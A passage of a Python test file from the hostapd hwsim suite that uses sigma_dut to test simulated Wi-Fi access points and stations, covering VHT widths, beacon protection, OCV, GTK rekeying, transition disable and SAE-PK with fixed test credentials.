extra="width,40", check_signal="WIDTH=40 MHz",
program="VHT")
def test_sigma_dut_ap_vht80(dev, apdev, params):
"""sigma_dut controlled AP and VHT80"""
run_sigma_dut_ap_channel(dev, apdev, params, 36, '11ac', 5180,
extra="width,80", check_signal="WIDTH=80 MHz",
program="VHT")
def run_sigma_dut_ap_channel(dev, apdev, params, channel, mode, scan_freq,
extra=None, check_signal=None, program=None):
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
subprocess.call(['iw', 'reg', 'set', 'US'])
cmd = "ap_reset_default"
if program:
cmd += ",program," + program
sigma_dut_cmd_check(cmd)
cmd = "ap_set_wireless,NAME,AP,CHANNEL,%d,SSID,test-psk,MODE,%s" % (channel, mode)
if extra:
cmd += "," + extra
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(params['prefix'] + ".sigma-conf", "wb") as f2:
f2.write(f.read())
dev[0].connect("test-psk", psk="12345678", scan_freq=str(scan_freq))
sig = dev[0].request("SIGNAL_POLL")
logger.info("SIGNAL_POLL:\n" + sig.strip())
dev[0].request("DISCONNECT")
dev[0].wait_disconnected()
sigma_dut_cmd_check("ap_reset_default")
if check_signal and check_signal not in sig:
raise Exception("Unexpected SIGNAL_POLL data")
finally:
stop_sigma_dut(sigma)
subprocess.call(['iw', 'reg', 'set', '00'])
dev[0].flush_scan_cache()
@reset_ignore_old_scan_res
def test_sigma_dut_beacon_prot(dev, apdev):
"""sigma_dut controlled STA and beacon protection"""
ssid = "test-pmf-required"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params["wpa_key_mgmt"] = "WPA-PSK-SHA256"
params["ieee80211w"] = "2"
params["beacon_prot"] = "1"
try:
hapd = hostapd.add_ap(apdev[0], params)
except Exception as e:
if "Failed to enable hostapd interface" in str(e):
raise HwsimSkip("Beacon protection not supported")
raise
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,type,PSK,passphrase,%s,encpType,aes-ccmp,keymgmttype,wpa2,PMF,Required,BeaconProtection,1" % (ifname, "test-pmf-required", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-pmf-required"),
timeout=10)
sigma_dut_wait_connected(ifname)
time.sleep(1)
check_mac80211_bigtk(dev[0], hapd)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_beacon_prot(dev, apdev, params):
"""sigma_dut controlled AP and beacon protection"""
logdir = params['prefix'] + ".sigma-hostapd"
Wlantest.setup(None)
wt = Wlantest()
wt.flush()
wt.add_passphrase("12345678")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSK,12345678,PMF,Required,BeaconProtection,1")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
bssid = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP")
bssid = bssid.split(',')[3]
dev[0].connect("test-psk", key_mgmt="WPA-PSK-SHA256",
psk="12345678", scan_freq="2412",
ieee80211w="2", beacon_prot="1")
time.sleep(1)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
valid_bip = wt.get_bss_counter('valid_bip_mmie', bssid)
invalid_bip = wt.get_bss_counter('invalid_bip_mmie', bssid)
missing_bip = wt.get_bss_counter('missing_bip_mmie', bssid)
logger.info("wlantest BIP counters: valid=%d invalid=%d missing=%d" % (valid_bip, invalid_bip, missing_bip))
if valid_bip < 0 or invalid_bip > 0 or missing_bip > 0:
raise Exception("Unexpected wlantest BIP counters: valid=%d invalid=%d missing=%d" % (valid_bip, invalid_bip, missing_bip))
def test_sigma_dut_ap_transition_disable(dev, apdev, params):
"""sigma_dut controlled AP and transition disabled indication"""
check_sae_capab(dev[0])
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,PMF,Required,Transition_Disable,1,Transition_Disable_Index,0")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].set("sae_groups", "")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
ev = dev[0].wait_event(["TRANSITION-DISABLE"], timeout=1)
if ev is None:
raise Exception("Transition disable not indicated")
if ev.split(' ')[1] != "01":
raise Exception("Unexpected transition disable bitmap: " + ev)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_transition_disable_change(dev, apdev, params):
"""sigma_dut controlled AP and transition disabled indication change"""
check_sae_capab(dev[0])
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].set("sae_groups", "")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
ev = dev[0].wait_event(["TRANSITION-DISABLE"], timeout=1)
if ev is not None:
raise Exception("Unexpected transition disable indication")
dev[0].request("DISCONNECT")
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_set_rfeature,NAME,AP,Transition_Disable,1,Transition_Disable_Index,0")
dev[0].request("RECONNECT")
dev[0].wait_connected()
ev = dev[0].wait_event(["TRANSITION-DISABLE"], timeout=1)
if ev is None:
raise Exception("Transition disable not indicated")
if ev.split(' ')[1] != "01":
raise Exception("Unexpected transition disable bitmap: " + ev)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ft_rsnxe_used_mismatch(dev, apdev):
"""sigma_dut controlled FT protocol with RSNXE Used mismatch"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid)
params['wpa_key_mgmt'] = 'SAE FT-SAE'
params["ieee80211w"] = "2"
params['sae_password'] = "hello"
params['sae_pwe'] = "2"
params['mobility_domain'] = 'aabb'
bssid = apdev[0]['bssid'].replace(':', '')
params['nas_identifier'] = bssid + '.nas.example.com'
params['r1_key_holder'] = bssid
params['pmk_r1_push'] = '0'
params['r0kh'] = 'ff:ff:ff:ff:ff:ff * 00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff'
params['r1kh'] = '00:00:00:00:00:00 00:00:00:00:00:00 00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff'
hapd = hostapd.add_ap(apdev[0], params)
bssid = hapd.own_addr()
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,AKMSuiteType,8;9" % (ifname, "test-sae", "hello"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
dev[0].dump_monitor()
bssid2 = apdev[1]['bssid'].replace(':', '')
params['nas_identifier'] = bssid2 + '.nas.example.com'
params['r1_key_holder'] = bssid2
hapd2 = hostapd.add_ap(apdev[1], params)
bssid2 = hapd2.own_addr()
sigma_dut_cmd_check("sta_reassoc,interface,%s,Channel,1,bssid,%s" % (ifname, bssid2))
count = 0
for i in range(5):
ev = dev[0].wait_event(["Trying to associate",
"CTRL-EVENT-CONNECTED"], timeout=10)
if ev is None:
raise Exception("Connection timed out")
if "CTRL-EVENT-CONNECTED" in ev:
break
count += 1
dev[0].dump_monitor()
if count != 1:
raise Exception("Unexpected number of association attempts for the first FT protocol exchange (expecting success)")
sigma_dut_cmd_check("sta_set_rfeature,interface,%s,prog,WPA3,ReassocReq_RSNXE_Used,1" % ifname)
sigma_dut_cmd_check("sta_reassoc,interface,%s,Channel,1,bssid,%s" % (ifname, bssid))
count = 0
for i in range(5):
ev = dev[0].wait_event(["Trying to associate",
"CTRL-EVENT-CONNECTED"], timeout=10)
if ev is None:
raise Exception("Connection timed out")
if "CTRL-EVENT-CONNECTED" in ev:
break
count += 1
dev[0].dump_monitor()
if count != 2:
raise Exception("Unexpected number of association attempts for the second FT protocol exchange (expecting failure)")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ft_rsnxe_used_mismatch(dev, apdev, params):
"""sigma_dut controlled AP with FT and RSNXE Used mismatch"""
logdir = params['prefix'] + ".sigma-hostapd"
conffile = params['prefix'] + ".sigma-conf"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng,DOMAIN,aabb")
sigma_dut_cmd_check("ap_set_security,NAME,AP,AKMSuiteType,8;9,SAEPasswords,hello,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].connect("test-sae", key_mgmt="FT-SAE", sae_password="hello",
ieee80211w="2", scan_freq="2412")
sigma_dut_cmd_check("ap_set_rfeature,NAME,AP,type,WPA3,ReassocResp_RSNXE_Used,1")
# This would need to be followed by FT protocol roaming test, but
# that is not currently convenient to implement, so for now, this
# test is based on manual inspection of hostapd getting configured
# properly.
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ocv(dev, apdev):
"""sigma_dut controlled STA using OCV"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19'
params['ocv'] = '1'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3,ocvc,1" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3,ocvc,1" % ifname)
sigma_dut_cmd_check("sta_set_rfeature,interface,%s,prog,WPA3,OCIFrameType,eapolM2,OCIChannel,11" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"))
ev = hapd.wait_event(["OCV-FAILURE"], timeout=1)
if ev is None:
raise Exception("OCV failure for EAPOL-Key msg 2/4 not reported")
if "addr=" + dev[0].own_addr() not in ev:
raise Exception("Unexpected OCV failure addr: " + ev)
if "frame=eapol-key-m2" not in ev:
raise Exception("Unexpected OCV failure frame: " + ev)
if "error=primary channel mismatch" not in ev:
raise Exception("Unexpected OCV failure error: " + ev)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ocv(dev, apdev, params):
"""sigma_dut controlled AP using OCV"""
logdir = params['prefix'] + ".sigma-hostapd"
conffile = params['prefix'] + ".sigma-conf"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,ocvc,1")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
bssid = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP")
bssid = bssid.split(',')[3]
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].set("sae_groups", "")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", ocv="1", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_set_rfeature,NAME,AP,type,WPA3,OCIFrameType,eapolM3,OCIChannel,3")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", ocv="1", scan_freq="2412",
wait_connect=False)
check_ocv_failure(dev[0], "EAPOL-Key msg 3/4", "eapol-key-m3",
bssid)
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_gtk_rekey(dev, apdev):
"""sigma_dut controlled STA requesting GTK rekeying"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3,ocvc,1" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
dev[0].dump_monitor()
sigma_dut_cmd_check("dev_exec_action,interface,%s,program,WPA3,KeyRotation,1" % ifname)
ev = dev[0].wait_event(["WPA: Group rekeying completed"], timeout=5)
if ev is None:
raise Exception("GTK rekeying not seen")
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_gtk_rekey(dev, apdev, params):
"""sigma_dut controlled AP and requested GTK rekeying"""
logdir = params['prefix'] + ".sigma-hostapd"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].set("sae_groups", "")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
dev[0].dump_monitor()
sigma_dut_cmd_check("dev_exec_action,name,AP,interface,%s,program,WPA3,KeyRotation,1" % iface)
ev = dev[0].wait_event(["WPA: Group rekeying completed"], timeout=5)
if ev is None:
raise Exception("GTK rekeying not seen")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_pk(dev, apdev):
"""sigma_dut controlled STA using SAE-PK"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
ssid = "SAE-PK test"
pw = "hbbi-f4xq-b45g"
m = "d2e5fa27d1be8897f987f2d480d2af6b"
pk = "MHcCAQEEIAJIGlfnteonDb7rQyP/SGQjwzrZAnfrXIm4280VWajYoAoGCCqGSM49AwEHoUQDQgAEeRkstKQV+FSAMqBayqFknn2nAQsdsh/MhdX6tiHOTAFin/sUMFRMyspPtIu7YvlKdsexhI0jPVhaYZn1jKWhZg=="
try:
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19'
params['sae_password'] = ['%s|pk=%s:%s' % (pw, m, pk)]
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,sae_pk,1" % (ifname, ssid, pw))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
sigma_dut_wait_connected(ifname)
dev[0].dump_monitor()
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_ap_sae_pk(conffile, dev, ssid, pw, keypair, m, failure,
status=None, omit=False, immediate=False, sig=None):
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,%s,MODE,11ng" % ssid)
cmd = "ap_set_security,NAME,AP,AKMSuiteType,8,PairwiseCipher,AES-CCMP-128,GroupCipher,AES-CCMP-128,GroupMgntCipher,BIP-CMAC-128,PMF,Required,PSK,%s,sae_pk,1,Transition_Disable,1,Transition_Disable_Index,0,SAE_PK_KeyPair,%s,SAE_PK_Modifier,%s" % (pw, keypair, m)
if status is not None:
cmd += ",SAE_Commit_StatusCode,%d" % status
if omit:
cmd += ",SAE_PK_Omit,1"
if immediate:
cmd += ",SAE_Confirm_Immediate,1"
if sig:
cmd += ",SAE_PK_KeyPairSigOverride," + sig
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
bssid = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP")
bssid = bssid.split(',')[3]
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "ab") as f2:
f2.write(f.read())
f2.write('\n'.encode())
dev.set("sae_groups", "")
dev.connect(ssid, key_mgmt="SAE", sae_password=pw, ieee80211w="2",
scan_freq="2412", wait_connect=False)
ev = dev.wait_event(["CTRL-EVENT-CONNECTED",
"CTRL-EVENT-SSID-TEMP-DISABLED"], timeout=15)
if ev is None:
raise Exception("No connection result reported")
bss = dev.get_bss(bssid)
if 'flags' not in bss:
raise Exception("Could not get BSS flags from BSS table")
if "[SAE-H2E]" not in bss['flags'] or "[SAE-PK]" not in bss['flags']:
raise Exception("Unexpected BSS flags: " + bss['flags'])
if failure:
if "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection")
dev.request("REMOVE_NETWORK all")
else:
if "CTRL-EVENT-CONNECTED" not in ev:
raise Exception("Connection failed")
dev.request("REMOVE_NETWORK all")
dev.wait_disconnected()
dev.dump_monitor()
sigma_dut_cmd_check("ap_reset_default")
def test_sigma_dut_ap_sae_pk(dev, apdev, params):
"""sigma_dut controlled AP using SAE-PK"""
logdir = params['prefix'] + ".sigma-hostapd"
conffile = params['prefix'] + ".sigma-conf"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
tests = [("SAEPK-4.7.1.1", "ya3o-zvm2-r4so", "saepk1.pem",
"faa1ef5094bdb4cb2836332ca2c09839", False),
("SAEPK-4.7.1.2", "xcc2-qwru-yg23", "saepk1.pem",
"b1b30107eb74de2f25afd079bb4196c1", False),
("SAEPK-4.7.1.3", "skqz-6scq-zcqv", "saepk1.pem",
"4c0ff61465e0f298510254ff54916c71", False),
("SAEPK-4.7.1.4", "r6em-rya4-tqfa", "saepkP384.pem",
"fb811655209e9edf347a675ddd3e9c82", False),
("SAEPK-4.7.1.5", "6kjo-umvi-7x3w", "saepkP521.pem",
"cccb76bc0f113ab754826ba9538d66f5", False),
("SAEPK-5.7.1.1", "sw4h-re63-wgqg", "saepk1.pem",
"0d126f302d85ac809a6a4229dbbe3c75", False),
("SAEPK-5.7.1.2", "wewq-r4kg-4ioz-xb2p", "saepk1.pem",
"d6b1d8924b1a462677e67b3bbfe73977", False),
("SAEPK-5.7.1.3", "vb3v-5skk-5eft-v4hu-w2c5", "saepk1.pem",
"41f8cfceb96ebc5c8af9677d22749fad", False),
("SAEPK-5.7.1.4", "2qsw-6tgy-xnwa-s7lo-75tq-qggr", "saepk1.pem",
"089e8d4a3a79ec637c54dd7bd61972f2", False),
("SAE-PK test", "hbbi-f4xq-b45g", "saepkP256.pem",
"d2e5fa27d1be8897f987f2d480d2af6b", False),
("SAE-PK test", "hbbi-f4xq-b457-jje4", "saepkP256.pem",
"d2e5fa27d1be8897f987f2d480d2af6b", False),
("SAE-PK test", "hbbi-f4xq-b457-jjew-muei", "saepkP256.pem",
"d2e5fa27d1be8897f987f2d480d2af6b", False),
("SAE-PK test", "hbbi-f4xq-b457-jjew-muey-fod3", "saepkP256.pem",
"d2e5fa27d1be8897f987f2d480d2af6b", False),
("SAEPK-5.7.1.1", "sw4h-re63-wgqg", "saepk1.pem",
"0d126f302d85ac809a6a4229dbbe3c75", False),
("SAEPK-5.7.1.10", "tkor-7nb3-r7tv", "saepkP384.pem",
"af1a3df913fc0103f65f105ed1472277", False),
("SAEPK-5.7.1.11", "yjl3-vfvu-w6r3", "saepkP521.pem",
"24dadf9d253c4169c9647a21cb54fc57", False),
("SAEPK-5.7.2.1", "rntm-tkrp-xgke", "saepk1.pem",
"cd38ccce3baff627d09bee7b9530d6ce", False),
("SAEPK-5.7.2.2", "7lt7-7dqt-6abk", "saepk1.pem",
"a22fc8489932597c9e83de62dec02b21", False),
("SAEPK-5.7.2.3", "sw4h-re63-wgqg", "saepk2.pem",
"1f4a4c7d290d97e0b6ab0cbbbfa0726d", True),
("SAEPK-5.7.2.4", "rmj3-ya7b-42k4", "saepk1.pem",
"5f65e2bc37f8494de7a605ff615c8b6a", False),
("SAEPK-5.7.2.4", "rmj3-ya7b-42k4", "saepk2.pem",
"5f65e2bc37f8494de7a605ff615c8b6a", True),
("SAEPK-5.7.3", "4322-ufus-4bhm", "saepk1.pem",
"21ede99abc46679646693cafe4677d4e", False)]
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
for ssid, pw, keypair, m, failure in tests:
run_sigma_dut_ap_sae_pk(conffile, dev[0], ssid, pw, keypair, m,
failure)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_pk_misbehavior(dev, apdev, params):
"""sigma_dut controlled AP using SAE-PK misbehavior"""
logdir = params['prefix'] + ".sigma-hostapd"
conffile = params['prefix'] + ".sigma-conf"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ssid = "SAEPK-4.7.1.1"
pw = "rmj3-ya7b-42k4"
keypair = "saepk1.pem"
m = "faa1ef5094bdb4cb2836332ca2c09839"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_sae_pk(conffile, dev[0], ssid, pw, keypair, m,
True, status=126)
run_sigma_dut_ap_sae_pk(conffile, dev[0], ssid, pw, keypair, m,
True, omit=True)
run_sigma_dut_ap_sae_pk(conffile, dev[0], ssid, pw, keypair, m,
True, status=126, omit=True, immediate=True)
run_sigma_dut_ap_sae_pk(conffile, dev[0], ssid, pw, keypair, m,
True, sig="saepk2.pem")
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_ap_sae_pk_mixed(conffile, dev, ssid, pw, keypair, m, failure):
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,%s,MODE,11ng" % ssid)
cmd = "ap_set_security,NAME,AP,AKMSuiteType,2;8,PairwiseCipher,AES-CCMP-128,GroupCipher,AES-CCMP-128,GroupMgntCipher,BIP-CMAC-128,PMF,Required,PSK,%s,sae_pk,0,Transition_Disable,0" % (pw)
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
bssid = sigma_dut_cmd_check("ap_get_mac_address,NAME,AP")
bssid = bssid.split(',')[3]
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "ab") as f2:
f2.write(f.read())
f2.write('\n'.encode())
sigma_dut_cmd_check("ap_set_rfeature,NAME,AP,type,WPA3,Transition_Disable,1,Transition_Disable_Index,0")
dev[0].set("sae_groups", "")
dev[0].connect(ssid, key_mgmt="SAE", sae_password=pw, ieee80211w="2",
scan_freq="2412")
dev[1].connect(ssid, key_mgmt="WPA-PSK", psk=pw, ieee80211w="2",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
def test_sigma_dut_ap_sae_pk_mixed(dev, apdev, params):
"""sigma_dut controlled AP using SAE-PK(disabled) and PSK"""
logdir = params['prefix'] + ".sigma-hostapd"
conffile = params['prefix'] + ".sigma-conf"
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ssid = "SAEPK-5.7.3"
pw = "4322-ufus-4bhm"
keypair = "saepk1.pem"
m = "21ede99abc46679646693cafe4677d4e"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_sae_pk_mixed(conffile, dev, ssid, pw, keypair,
m, False)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_client_privacy(dev, apdev, params):
"""sigma_dut client privacy"""
logdir = params['logdir']
ssid = "test"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
addr = dev[0].own_addr()
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3,ClientPrivacy,1" % ifname)
cmd = "sta_scan,Interface,%s,ChnlFreq,2412,WaitCompletion,1" % dev[0].ifname
sigma_dut_cmd_check(cmd, timeout=10)
time.sleep(2)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_psk,interface,%s,ssid,%s,passphrase,%s,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, ssid, "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
dev[0].set("mac_addr", "0", allow_fail=True)
dev[0].set("rand_addr_lifetime", "60", allow_fail=True)
dev[0].request("MAC_RAND_SCAN enable=0 all")
dev[0].set("preassoc_mac_addr", "0", allow_fail=True)
